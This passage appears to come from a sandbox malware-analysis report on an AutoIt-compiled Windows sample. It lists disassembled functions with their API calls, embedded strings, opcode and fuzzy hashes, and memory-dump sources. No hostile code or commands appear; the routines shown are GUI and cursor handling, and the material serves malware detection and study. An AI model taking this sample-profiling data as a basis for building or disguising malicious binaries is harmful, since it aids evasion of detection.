                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                • String ID: ($0$tooltips_class32
                                                • API String ID: 698492251-4156429822
                                                • Opcode ID: 8bb7b6d7459f5419ca26fea6159ccdf416f060184748db8a87a8b6002d1aaa9f
                                                • Instruction ID: 34ac0df0654f83c7a95d82849cdb28df29006832f7d8f488104f92ac7f1a15c9
                                                • Opcode Fuzzy Hash: 8bb7b6d7459f5419ca26fea6159ccdf416f060184748db8a87a8b6002d1aaa9f
                                                • Instruction Fuzzy Hash: 52B169B1604340AFDB14DF65C984B6ABBE4FB84314F00891CF699AB2E1DB71E845CBA1
                                                Function 00DE46D6 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00DE46E8
                                                • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00DE470E
                                                • _wcscpy.LIBCMT ref: 00DE473C
                                                • _wcscmp.LIBCMT ref: 00DE4747
                                                • _wcscat.LIBCMT ref: 00DE475D
                                                • _wcsstr.LIBCMT ref: 00DE4768
                                                • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00DE4784
                                                • _wcscat.LIBCMT ref: 00DE47CD
                                                • _wcscat.LIBCMT ref: 00DE47D4
                                                • _wcsncpy.LIBCMT ref: 00DE47FF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                                • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                • API String ID: 699586101-1459072770
                                                • Opcode ID: 403ff66b5aace07ec830f1cd045ea69f5dfeb308155c4e090c079ec7fd3bd04f
                                                • Instruction ID: faa2fb789765c962de8988fc8e4f861cfd87484d01888069f2985a3eebada8a4
                                                • Opcode Fuzzy Hash: 403ff66b5aace07ec830f1cd045ea69f5dfeb308155c4e090c079ec7fd3bd04f
                                                • Instruction Fuzzy Hash: 7A410772A00340BADB10BB668C47EBF7B7CDF46710F04006AF944F6182EB75DA5196B5
                                                Function 00D827D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D828BC
                                                • GetSystemMetrics.USER32(00000007), ref: 00D828C4
                                                • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D828EF
                                                • GetSystemMetrics.USER32(00000008), ref: 00D828F7
                                                • GetSystemMetrics.USER32(00000004), ref: 00D8291C
                                                • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00D82939
                                                • AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00D82949
                                                • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00D8297C
                                                • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00D82990
                                                • GetClientRect.USER32(00000000,000000FF), ref: 00D829AE
                                                • GetStockObject.GDI32(00000011), ref: 00D829CA
                                                • SendMessageW.USER32(00000000,00000030,00000000), ref: 00D829D5
                                                  • Part of subcall function 00D82344: GetCursorPos.USER32(?), ref: 00D82357
                                                  • Part of subcall function 00D82344: ScreenToClient.USER32(00E467B0,?), ref: 00D82374
                                                  • Part of subcall function 00D82344: GetAsyncKeyState.USER32(00000001), ref: 00D82399
                                                  • Part of subcall function 00D82344: GetAsyncKeyState.USER32(00000002), ref: 00D823A7
                                                • SetTimer.USER32(00000000,00000000,00000028,00D81256), ref: 00D829FC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                • String ID: AutoIt v3 GUI
                                                • API String ID: 1458621304-248962490
                                                • Opcode ID: 9bfb841d0e940dbf9973deeb016149e25e0d2be7736eb02dcdfd669159b7bffd
                                                • Instruction ID: 58d579b458c1ad54b5f5143faeb618a8c718eb81232c32d345117f020e9abbef
                                                • Opcode Fuzzy Hash: 9bfb841d0e940dbf9973deeb016149e25e0d2be7736eb02dcdfd669159b7bffd
                                                • Instruction Fuzzy Hash: E1B18E71A0020AEFDB14EFA9DC45BEE7BB4FB08711F104129FA16A7290CB70E855CB61
                                                Function 00E04069 Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 00E040F6
                                                • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00E041B6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharMessageSendUpper
                                                • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                • API String ID: 3974292440-719923060
                                                • Opcode ID: 15cfa4b7bd6bf34af62aeed0c9703106bcca78cf511b28555b35d0b079ce6dc2
                                                • Instruction ID: 01d79df25126a54dc7929635410e5fae1525f5acf46ca6447c8042bf7181918c
                                                • Opcode Fuzzy Hash: 15cfa4b7bd6bf34af62aeed0c9703106bcca78cf511b28555b35d0b079ce6dc2
                                                • Instruction Fuzzy Hash: 8CA190B02142019BCB14FF20C992A7AB7A5EF84314F146968B9966B7D2DB31EC45CB71
                                                Function 00DF52F0 Relevance: 27.1, APIs: 18, Instructions: 124COMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00DF5309
                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00DF5314
                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00DF531F
                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00DF532A
                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00DF5335
                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00DF5340
                                                • LoadCursorW.USER32(00000000,00007F81), ref: 00DF534B
                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00DF5356
                                                • LoadCursorW.USER32(00000000,00007F80), ref: 00DF5361
                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00DF536C
                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00DF5377
                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00DF5382
                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00DF538D
                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00DF5398
                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00DF53A3
                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00DF53AE
                                                • GetCursorInfo.USER32(?), ref: 00DF53BE
                                                • GetLastError.KERNEL32(00000001,00000000), ref: 00DF53E9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Cursor$Load$ErrorInfoLast
                                                • String ID:
                                                • API String ID: 3215588206-0
                                                • Opcode ID: 3acca2669ae37af60ae1c179b3b094feccca80301d5a9d459edc5588a5eed135
                                                • Instruction ID: 51e37924017752cb7546b36b3d6aefc013c785d7e3635070a5c9a31d1d45a1b6
                                                • Opcode Fuzzy Hash: 3acca2669ae37af60ae1c179b3b094feccca80301d5a9d459edc5588a5eed135
                                                • Instruction Fuzzy Hash: C0418770E043196ADB109FB69C4986FFFF8EF51710B14452FE609E7290DAB89400CE61
                                                Function 00DDAA64 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(?,?,00000100), ref: 00DDAAA5
                                                • __swprintf.LIBCMT ref: 00DDAB46
                                                • _wcscmp.LIBCMT ref: 00DDAB59
                                                • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00DDABAE
                                                • _wcscmp.LIBCMT ref: 00DDABEA
                                                • GetClassNameW.USER32(?,?,00000400), ref: 00DDAC21
                                                • GetDlgCtrlID.USER32(?), ref: 00DDAC73
                                                • GetWindowRect.USER32(?,?), ref: 00DDACA9
                                                • GetParent.USER32(?), ref: 00DDACC7
                                                • ScreenToClient.USER32(00000000), ref: 00DDACCE
                                                • GetClassNameW.USER32(?,?,00000100), ref: 00DDAD48
                                                • _wcscmp.LIBCMT ref: 00DDAD5C
                                                • GetWindowTextW.USER32(?,?,00000400), ref: 00DDAD82
                                                • _wcscmp.LIBCMT ref: 00DDAD96
                                                  • Part of subcall function 00DA386C: _iswctype.LIBCMT ref: 00DA3874
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
                                                • String ID: %s%u
                                                • API String ID: 3744389584-679674701
                                                • Opcode ID: cb20824fbd219c6ca1a130de2de8bb61b2816cfa769bf8d76f9471dcef1efc36
                                                • Instruction ID: 2c0511386b0169fcffb92bb018987284bbd2e187ce459bf7a419872e35254b46
                                                • Opcode Fuzzy Hash: cb20824fbd219c6ca1a130de2de8bb61b2816cfa769bf8d76f9471dcef1efc36
                                                • Instruction Fuzzy Hash: DDA1E571204706AFDB14DF28C884FAAB7E9FF04315F14862AF999D2650E730E955CBB2
                                                Function 00DDB397 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetClassNameW.USER32(00000008,?,00000400), ref: 00DDB3DB
                                                • _wcscmp.LIBCMT ref: 00DDB3EC
                                                • GetWindowTextW.USER32(00000001,?,00000400), ref: 00DDB414
                                                • CharUpperBuffW.USER32(?,00000000), ref: 00DDB431
                                                • _wcscmp.LIBCMT ref: 00DDB44F
                                                • _wcsstr.LIBCMT ref: 00DDB460
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 00DDB498
                                                • _wcscmp.LIBCMT ref: 00DDB4A8
                                                • GetWindowTextW.USER32(00000002,?,00000400), ref: 00DDB4CF
                                                • GetClassNameW.USER32(00000018,?,00000400), ref: 00DDB518
                                                • _wcscmp.LIBCMT ref: 00DDB528
                                                • GetClassNameW.USER32(00000010,?,00000400), ref: 00DDB550
                                                • GetWindowRect.USER32(00000004,?), ref: 00DDB5B9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                • String ID: @$ThumbnailClass
                                                • API String ID: 1788623398-1539354611
                                                • Opcode ID: 348ba33631521b4391de128d068b26e7ba6738538ecd8c442d16084a6af524cf
                                                • Instruction ID: 7ded7d13f038c7a829333c80bc348b0fec09c293a42af72fadef57a00851ffe1
                                                • Opcode Fuzzy Hash: 348ba33631521b4391de128d068b26e7ba6738538ecd8c442d16084a6af524cf
                                                • Instruction Fuzzy Hash: 1A818C71008205DBDB14DF11D885FAA7BE8EF44728F08856BFD859A292DB30ED49CBB1
                                                Function 00E0C8EE Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 181windowfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • DragQueryPoint.SHELL32(?,?), ref: 00E0C917
                                                  • Part of subcall function 00E0ADF1: ClientToScreen.USER32(?,?), ref: 00E0AE1A
                                                  • Part of subcall function 00E0ADF1: GetWindowRect.USER32(?,?), ref: 00E0AE90
                                                  • Part of subcall function 00E0ADF1: PtInRect.USER32(?,?,00E0C304), ref: 00E0AEA0
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00E0C980
                                                • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00E0C98B
                                                • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00E0C9AE
                                                • _wcscat.LIBCMT ref: 00E0C9DE
                                                • SendMessageW.USER32(?,000000C2,00000001,?), ref: 00E0C9F5
                                                • SendMessageW.USER32(?,000000B0,?,?), ref: 00E0CA0E
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00E0CA25
                                                • SendMessageW.USER32(?,000000B1,?,?), ref: 00E0CA47
                                                • DragFinish.SHELL32(?), ref: 00E0CA4E
                                                • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00E0CB41
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
                                                • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$pr
                                                • API String ID: 169749273-2073472848
                                                • Opcode ID: 5421a9fdea4befa7638ad8197d85b9224c6af4f4d34d5caf81b496b780a48717
                                                • Instruction ID: bba949820b9f6e9eb1f1ad7118a8cfe810bb9be7b987adde7c681229ca765a40
                                                • Opcode Fuzzy Hash: 5421a9fdea4befa7638ad8197d85b9224c6af4f4d34d5caf81b496b780a48717
                                                • Instruction Fuzzy Hash: 87618D71108300AFC715EF61DC85D9FBBE8EF89710F400A2DF592A21A1DB719A49CB62
                                                Function 00DDB1E0 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                • API String ID: 1038674560-1810252412
                                                • Opcode ID: b6306f21d5d13e638c4fce40cef129464687574547ec670f3bc7c9429ef8d617
                                                • Instruction ID: c1d683f610b92fe40add09ea3facb31f5fb37054b3c6590635c3178816c657f2
                                                • Opcode Fuzzy Hash: b6306f21d5d13e638c4fce40cef129464687574547ec670f3bc7c9429ef8d617
                                                • Instruction Fuzzy Hash: 2A318D32A48305E6DB14FA60CD87EEE7FA9DF14764F64002BB441711D6EFA1AE04C6B5
                                                Function 00DDC4C1 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadIconW.USER32(00000063), ref: 00DDC4D4
                                                • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00DDC4E6
                                                • SetWindowTextW.USER32(?,?), ref: 00DDC4FD
                                                • GetDlgItem.USER32(?,000003EA), ref: 00DDC512
                                                • SetWindowTextW.USER32(00000000,?), ref: 00DDC518
                                                • GetDlgItem.USER32(?,000003E9), ref: 00DDC528
                                                • SetWindowTextW.USER32(00000000,?), ref: 00DDC52E
                                                • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00DDC54F
                                                • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00DDC569
                                                • GetWindowRect.USER32(?,?), ref: 00DDC572
                                                • SetWindowTextW.USER32(?,?), ref: 00DDC5DD
                                                • GetDesktopWindow.USER32 ref: 00DDC5E3
                                                • GetWindowRect.USER32(00000000), ref: 00DDC5EA
                                                • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00DDC636
                                                • GetClientRect.USER32(?,?), ref: 00DDC643
                                                • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00DDC668
                                                • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00DDC693
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                • String ID:
                                                • API String ID: 3869813825-0
                                                • Opcode ID: 2f9970ec0f06815f5336b16d925faec0c887b9624973da20bcb8a51b16c4c1a7
                                                • Instruction ID: 447596603ef7f96caa615a1d2bd454d0cac4f6cba89433aaf22f42be4eb1200a
                                                • Opcode Fuzzy Hash: 2f9970ec0f06815f5336b16d925faec0c887b9624973da20bcb8a51b16c4c1a7
                                                • Instruction Fuzzy Hash: 26517F7090070AAFDB20DFA9DD85B6EBBF5FF04705F044929E682A26A0C775F954CB60
                                                Function 00E0A428 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00E0A4C8
                                                • DestroyWindow.USER32(?,?), ref: 00E0A542
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00E0A5BC
                                                • SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00E0A5DE
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E0A5F1
                                                • DestroyWindow.USER32(00000000), ref: 00E0A613
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00D80000,00000000), ref: 00E0A64A
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E0A663
                                                • GetDesktopWindow.USER32 ref: 00E0A67C
                                                • GetWindowRect.USER32(00000000), ref: 00E0A683
                                                • SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00E0A69B
                                                • SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00E0A6B3
                                                  • Part of subcall function 00D825DB: GetWindowLongW.USER32(?,000000EB), ref: 00D825EC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
                                                • String ID: 0$tooltips_class32
                                                • API String ID: 1297703922-3619404913
                                                • Opcode ID: eec614b6b14214d858ac7078202175df64e762d4b48105500f920db9a590c32d
                                                • Instruction ID: 8ba37e2c53bf60500adec0d48b6125df31bfdd5b1c7a158c0952cc5beacf4b60
                                                • Opcode Fuzzy Hash: eec614b6b14214d858ac7078202175df64e762d4b48105500f920db9a590c32d
                                                • Instruction Fuzzy Hash: BE719971140309AFD724CF68DC49F667BF5EB89304F08052DF985A72A1C772E986CB62
                                                Function 00E04619 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?), ref: 00E046AB
                                                • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E046F6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharMessageSendUpper
                                                • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                • API String ID: 3974292440-4258414348
                                                • Opcode ID: 68c6aad5a46caa8645a80d4777a050c3d79d4549f74bd5ca25ec1634b9e43e8e
                                                • Instruction ID: d620f2065fbe01c93414686ef1409bb3e1b426358eccababb658ff781388197b
                                                • Opcode Fuzzy Hash: 68c6aad5a46caa8645a80d4777a050c3d79d4549f74bd5ca25ec1634b9e43e8e
                                                • Instruction Fuzzy Hash: 379180B42043019FCB14FF20C591A69BBA1EF85314F04986DF9966B7E2DB31ED46CB61
                                                Function 00E0BAB8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00E0BB6E
                                                • LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00E09431), ref: 00E0BBCA
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E0BC03
                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00E0BC46
                                                • LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E0BC7D
                                                • FreeLibrary.KERNEL32(?), ref: 00E0BC89
                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00E0BC99
                                                • DestroyIcon.USER32(?,?,?,?,?,00E09431), ref: 00E0BCA8
